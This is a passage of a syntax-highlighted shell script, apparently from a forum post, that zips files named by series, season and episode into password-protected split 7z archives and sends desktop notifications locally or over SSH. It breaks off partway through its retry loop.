<span style="color: #0000BB"></span><span style="color: #FF8000">#!/bin/sh<br /><br /></span><span style="color: #007700">function&nbsp;</span><span style="color: #0000BB">upload</span><span style="color: #007700">()&nbsp;<br />{<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">#Settings:<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">ARCHIVPW</span><span style="color: #007700">=</span><span style="color: #0000BB">archivpasswort123<br />&nbsp;&nbsp;&nbsp;&nbsp;ARCHIVPARTSIZE</span><span style="color: #007700">=</span><span style="color: #0000BB">100M<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;FTPHOST</span><span style="color: #007700">=</span><span style="color: #0000BB">ftp</span><span style="color: #007700">.</span><span style="color: #0000BB">deite</span><span style="color: #007700">.</span><span style="color: #0000BB">de<br />&nbsp;&nbsp;&nbsp;&nbsp;FTPUSR</span><span style="color: #007700">=</span><span style="color: #0000BB">ftpuser<br />&nbsp;&nbsp;&nbsp;&nbsp;FTPPW</span><span style="color: #007700">=</span><span style="color: #0000BB">secret123<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">#Choices&nbsp;for&nbsp;OSD&nbsp;notifications:<br />&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;0&nbsp;=&nbsp;off<br />&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;1&nbsp;=&nbsp;notify-send<br />&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;2&nbsp;=&nbsp;growlnotify<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">OSDNOTIFICATIONS</span><span style="color: #007700">=</span><span style="color: #0000BB">1<br />&nbsp;&nbsp;&nbsp;&nbsp;OSDICON</span><span style="color: #007700">=/</span><span style="color: #0000BB">usr</span><span style="color: #007700">/</span><span style="color: #0000BB">share</span><span style="color: #007700">/</span><span style="color: #0000BB">pixmaps</span><span style="color: #007700">/</span><span style="color: #0000BB">terminal</span><span style="color: #007700">.</span><span style="color: #0000BB">xpm<br />&nbsp;&nbsp;&nbsp;&nbsp;OSDTIMEOUT</span><span style="color: #007700">=</span><span style="color: #0000BB">10000<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">#OSD&nbsp;per&nbsp;SSH&nbsp;;)<br />&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;PublicKeyAuth&nbsp;needed!<br />&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;0&nbsp;=&nbsp;deactivated<br />&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;1&nbsp;=&nbsp;activated<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">SENDOSDPERSSH</span><span style="color: #007700">=</span><span style="color: #0000BB">1<br />&nbsp;&nbsp;&nbsp;&nbsp;SSHHOST</span><span style="color: #007700">=</span><span style="color: #0000BB">192.168.10.24<br />&nbsp;&nbsp;&nbsp;&nbsp;SSHUSR</span><span style="color: #007700">=</span><span style="color: #0000BB">square<br />&nbsp;&nbsp;&nbsp;&nbsp;SSHAUTHKEYNAME</span><span style="color: #007700">=</span><span style="color: #0000BB">SqsHQ<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">###&nbsp;Script&nbsp;starts&nbsp;here&nbsp;###<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">SHUSER</span><span style="color: #007700">=`</span><span style="color: #DD0000">whoami</span><span style="color: #007700">`<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: #DD0000">"::&nbsp;Please&nbsp;enter&nbsp;Archivname&nbsp;::"<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">read&nbsp;ARCHIVNAME<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">echo&nbsp;</span><span style="color: #DD0000">"::&nbsp;Please&nbsp;enter&nbsp;Season&nbsp;::"<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">read&nbsp;SEASON<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;i</span><span style="color: #007700">=</span><span style="color: #0000BB">01&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">for&nbsp;</span><span style="color: #0000BB">INPUTFILE&nbsp;in&nbsp;</span><span style="color: #007700">`</span><span style="color: #DD0000">ls&nbsp;.</span><span style="color: #007700">`&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: #DD0000">":::&nbsp;Zipping&nbsp;</span><span style="color: #0000BB">$INPUTFILE</span><span style="color: #DD0000">"<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">EPISODE</span><span style="color: #007700">=`</span><span style="color: #DD0000">printf&nbsp;"%.2i\n"&nbsp;</span><span style="color: #0000BB">$i</span><span style="color: #007700">`<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">ARCHIVNAMEFINAL</span><span style="color: #007700">=`</span><span style="color: #DD0000">echo&nbsp;"</span><span style="color: #0000BB">$ARCHIVNAME$SEASON$EPISODE</span><span style="color: #DD0000">"</span><span style="color: #007700">`<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: #DD0000">":::&nbsp;Archivename:&nbsp;</span><span style="color: #0000BB">$ARCHIVNAMEFINAL</span><span style="color: #DD0000">"<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">ne&nbsp;0&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$SENDOSDPERSSH&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;1&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;1&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ssh&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">/</span><span style="color: #0000BB">home</span><span style="color: #007700">/</span><span style="color: #0000BB">$SHUSER</span><span style="color: #007700">/.</span><span style="color: #0000BB">ssh</span><span style="color: #007700">/</span><span style="color: #0000BB">$SSHAUTHKEYNAME&nbsp;$SSHUSR</span><span style="color: #007700">@</span><span style="color: #0000BB">$SSHHOST&nbsp;</span><span style="color: #DD0000">'export&nbsp;DISPLAY=:0&nbsp;&amp;&amp;&nbsp;/usr/bin/notify-send&nbsp;-i&nbsp;$OSDICON&nbsp;-t&nbsp;$OSDTIMEOUT&nbsp;"Upload"&nbsp;"&lt;b&gt;Start&lt;/b&gt;&nbsp;zipping"'<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">elif&nbsp;</span><span style="color: #007700">&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;2&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ssh&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">/</span><span style="color: #0000BB">home</span><span style="color: #007700">/</span><span style="color: #0000BB">$SHUSER</span><span style="color: #007700">/.</span><span style="color: #0000BB">ssh</span><span style="color: #007700">/</span><span style="color: #0000BB">$SSHAUTHKEYNAME&nbsp;$SSHUSR</span><span style="color: #007700">@</span><span style="color: #0000BB">$SSHHOST&nbsp;</span><span style="color: #DD0000">'export&nbsp;DISPLAY=:0&nbsp;&amp;&amp;&nbsp;/usr/local/bin/growlnotify&nbsp;-t&nbsp;"Upload"&nbsp;-m&nbsp;"Start&nbsp;zipping"'<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;elif&nbsp;</span><span style="color: #007700">&#91;&nbsp;</span><span style="color: #0000BB">$SENDOSDPERSSH&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;0&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;1&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;notify</span><span style="color: #007700">-</span><span style="color: #0000BB">send&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">i&nbsp;$OSDICON&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">t&nbsp;$OSDTIMEOUT&nbsp;</span><span style="color: #DD0000">"Upload"&nbsp;"Start&nbsp;zipping&nbsp;of&nbsp;&lt;b&gt;</span><span style="color: #0000BB">$INPUTFILE</span><span style="color: #DD0000">&lt;/b&gt;as&nbsp;&lt;b&gt;</span><span style="color: #0000BB">$ARCHIVNAMEFINAL</span><span style="color: #DD0000">"<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">elif&nbsp;</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;2&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;growlnotify&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">t&nbsp;</span><span style="color: #DD0000">"Upload"&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">m&nbsp;</span><span style="color: #DD0000">"Start&nbsp;zipping&nbsp;of&nbsp;</span><span style="color: #0000BB">$INPUTFILE</span><span style="color: #DD0000">&nbsp;as&nbsp;</span><span style="color: #0000BB">$ARCHIVNAMEFINAL</span><span style="color: #DD0000">"&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fi<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;7z&nbsp;a&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">mhe</span><span style="color: #007700">=</span><span style="color: #0000BB">on&nbsp;&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">p$ARCHIVPW&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">v$ARCHIVPARTSIZE&nbsp;$ARCHIVNAMEFINAL.7z&nbsp;$INPUTFILE<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SEXC</span><span style="color: #007700">=$?<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$SEXC&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">ne&nbsp;0&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$SEXC&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;255&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">echo&nbsp;</span><span style="color: #DD0000">":::&nbsp;**NOTICE**&nbsp;User&nbsp;interrupted&nbsp;Zipping.&nbsp;Stopping."<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">ne&nbsp;0&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$SENDOSDPERSSH&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;1&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;1&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ssh&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">/</span><span style="color: #0000BB">home</span><span style="color: #007700">/</span><span style="color: #0000BB">$SHUSER</span><span style="color: #007700">/.</span><span style="color: #0000BB">ssh</span><span style="color: #007700">/</span><span style="color: #0000BB">$SSHAUTHKEYNAME&nbsp;$SSHUSR</span><span style="color: #007700">@</span><span style="color: #0000BB">$SSHHOST&nbsp;</span><span style="color: #DD0000">'export&nbsp;DISPLAY=:0&nbsp;&amp;&amp;&nbsp;/usr/bin/notify-send&nbsp;-i&nbsp;$OSDICON&nbsp;-t&nbsp;$OSDTIMEOUT&nbsp;"Upload"&nbsp;"&lt;b&gt;***STOP***&lt;/b&gt;&nbsp;User&nbsp;interrupted&nbsp;7z"'<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">elif&nbsp;</span><span style="color: #007700">&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;2&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ssh&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">/</span><span style="color: #0000BB">home</span><span style="color: #007700">/</span><span style="color: #0000BB">$SHUSER</span><span style="color: #007700">/.</span><span style="color: #0000BB">ssh</span><span style="color: #007700">/</span><span style="color: #0000BB">$SSHAUTHKEYNAME&nbsp;$SSHUSR</span><span style="color: #007700">@</span><span style="color: #0000BB">$SSHHOST&nbsp;</span><span style="color: #DD0000">'export&nbsp;DISPLAY=:0&nbsp;&amp;&amp;&nbsp;/usr/local/bin/growlnotify&nbsp;-t&nbsp;"Upload"&nbsp;-m&nbsp;"***STOP***&nbsp;User&nbsp;interrupted&nbsp;7z"'<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;elif&nbsp;</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">$SENDOSDPERSSH&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;0&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;1&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;notify</span><span style="color: #007700">-</span><span style="color: #0000BB">send&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">i&nbsp;$OSDICON&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">t&nbsp;$OSDTIMEOUT&nbsp;</span><span style="color: #DD0000">"Upload"&nbsp;"&lt;b&gt;***STOP***&lt;/b&gt;&nbsp;User&nbsp;interrupted&nbsp;7z"<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">elif&nbsp;</span><span style="color: #007700">&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;2&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;growlnotify&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">t&nbsp;</span><span style="color: #DD0000">"Upload"&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">m&nbsp;</span><span style="color: #DD0000">"***STOP***&nbsp;User&nbsp;interrupted&nbsp;7z"<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">exit&nbsp;</span><span style="color: #0000BB">1<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;t</span><span style="color: #007700">=</span><span style="color: #0000BB">1<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">while&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$t&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">le&nbsp;3&nbsp;</span><span style="color: #007700">&#93;;do<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">ne&nbsp;0&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$SENDOSDPERSSH&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;1&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;1&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ssh&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">/</span><span style="color: #0000BB">home</span><span style="color: #007700">/</span><span style="color: #0000BB">$SHUSER</span><span style="color: #007700">/.</span><span style="color: #0000BB">ssh</span><span style="color: #007700">/</span><span style="color: #0000BB">$SSHAUTHKEYNAME&nbsp;$SSHUSR</span><span style="color: #007700">@</span><span style="color: #0000BB">$SSHHOST&nbsp;</span><span style="color: #DD0000">'export&nbsp;DISPLAY=:0&nbsp;&amp;&amp;&nbsp;/usr/bin/notify-send&nbsp;-i&nbsp;$OSDICON&nbsp;-t&nbsp;$OSDTIMEOUT&nbsp;"Upload"&nbsp;"&lt;b&gt;***WARNING***&lt;/b&gt;7z&nbsp;failed,&nbsp;retry"'<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">elif&nbsp;</span><span style="color: #007700">&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;2&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ssh&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">/</span><span style="color: #0000BB">home</span><span style="color: #007700">/</span><span style="color: #0000BB">$SHUSER</span><span style="color: #007700">/.</span><span style="color: #0000BB">ssh</span><span style="color: #007700">/</span><span style="color: #0000BB">$SSHAUTHKEYNAME&nbsp;$SSHUSR</span><span style="color: #007700">@</span><span style="color: #0000BB">$SSHHOST&nbsp;</span><span style="color: #DD0000">'export&nbsp;DISPLAY=:0&nbsp;&amp;&amp;&nbsp;/usr/local/bin/growlnotify&nbsp;-t&nbsp;"Upload"&nbsp;-m&nbsp;"***WARNING***7z&nbsp;failed,&nbsp;retry"'<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;elif&nbsp;</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">$SENDOSDPERSSH&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;0&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br 